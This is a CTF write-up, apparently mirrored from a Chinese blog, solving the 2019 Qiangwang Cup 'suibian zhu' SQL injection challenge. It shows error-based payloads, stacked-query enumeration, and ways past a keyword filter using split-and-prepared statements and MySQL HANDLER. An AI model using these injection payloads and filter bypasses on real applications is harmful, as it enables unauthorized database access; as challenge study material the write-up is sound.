zoukankan      html  css  js  c++  java
  • [强网杯 2019]随便注

    首先查看源代码

     

    没有什么可以利用的东西

    题目所是注入的题,所以使用单引号尝试是否报错

     

    因为出现了报错,所以可以直接尝试使用报错注入

    1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

    发现提示下图,关键字被过滤

     

    换一个报错注入函数

    1' and (extractvalue(1,concat(0x7e,user(),0x7e)));--+

    1' and (extractvalue(1,concat(0x7e,database(),0x7e)));--+

    因为select,where被过滤,所以无法使用报错注入进行接下来的操作

    另外盲注,bool注入也会变得很困难,陷入沉思。。。。。。

    查看我的葵花宝典

     

     发现堆叠查询注入还没有祭出

    1';show databases;--+

     

    1';show tables;--+

    不知道flag在那个数据库中的,我们可以使用desc来确认

    1';desc `1919810931114514`;--+

    1';desc `words`;--+

    接下来该执行如下语句,但是select关键字被过滤

    select * from `1919810931114514`;

    这里开始我就不会做了,于是参考了别人的wp

    这里需要绕过select的限制,我们可以使用预编译的方式

    预编译相关语法如下:

    set用于设置变量名和值
    prepare用于预备一个语句,并赋予名称,以后可以引用该语句
    execute执行语句
    deallocate prepare用来释放掉预处理的语句

    payload:

    -1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

    格式化一下

    -1';
    set @sql = CONCAT('se','lect * from `1919810931114514`;');
    prepare stmt from @sql;
    EXECUTE stmt;
    #

    语句执行后,发现被strstr函数过滤set和prepare关键字,可以尝试使用双写绕过,或者大小写绕过

     

    strstr($inject, "set") && strstr($inject, "prepare")

    strstr这个函数并不能区分大小写,我们将其大写即可

    payload:

    -1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
    
    拆分开来如下:
    -1';
    Set @sql = CONCAT('se','lect * from `1919810931114514`;');
    Prepare stmt from @sql;
    EXECUTE stmt;
    #

     另外还可以使用handler,代替select关键字

    hanlder语法

    HANDLER tbl_name OPEN [ [AS] alias]
    
    HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
        [ WHERE where_condition ] [LIMIT ... ]
    HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
        [ WHERE where_condition ] [LIMIT ... ]
    HANDLER tbl_name READ { FIRST | NEXT }
        [ WHERE where_condition ] [LIMIT ... ]
    
    HANDLER tbl_name CLOSE
    handler `1919810931114514` open;
    handler `1919810931114514` read first;

    payload:

    1';handler `1919810931114514` open;handler `1919810931114514` read first;--+

  • 相关阅读:
    LED调光,PFM即pulse frequence modulation
    调光设备术语:调光曲线(转)
    盗梦陀螺攻略5- PID平衡算法(转)
    连接池中的maxIdle,MaxActive,maxWait参数
    MyBatis 延迟加载,一级缓存,二级缓存设置
    maven常用命令介绍
    科目二倒库的感悟(附一个教练独特的调镜方法)
    科目二怎么调整后视镜
    新手学车上车起步步骤
    ActiveMQ 了解
  • 原文地址:https://www.cnblogs.com/gtx690/p/13161504.html
Copyright © 2011-2022 走看看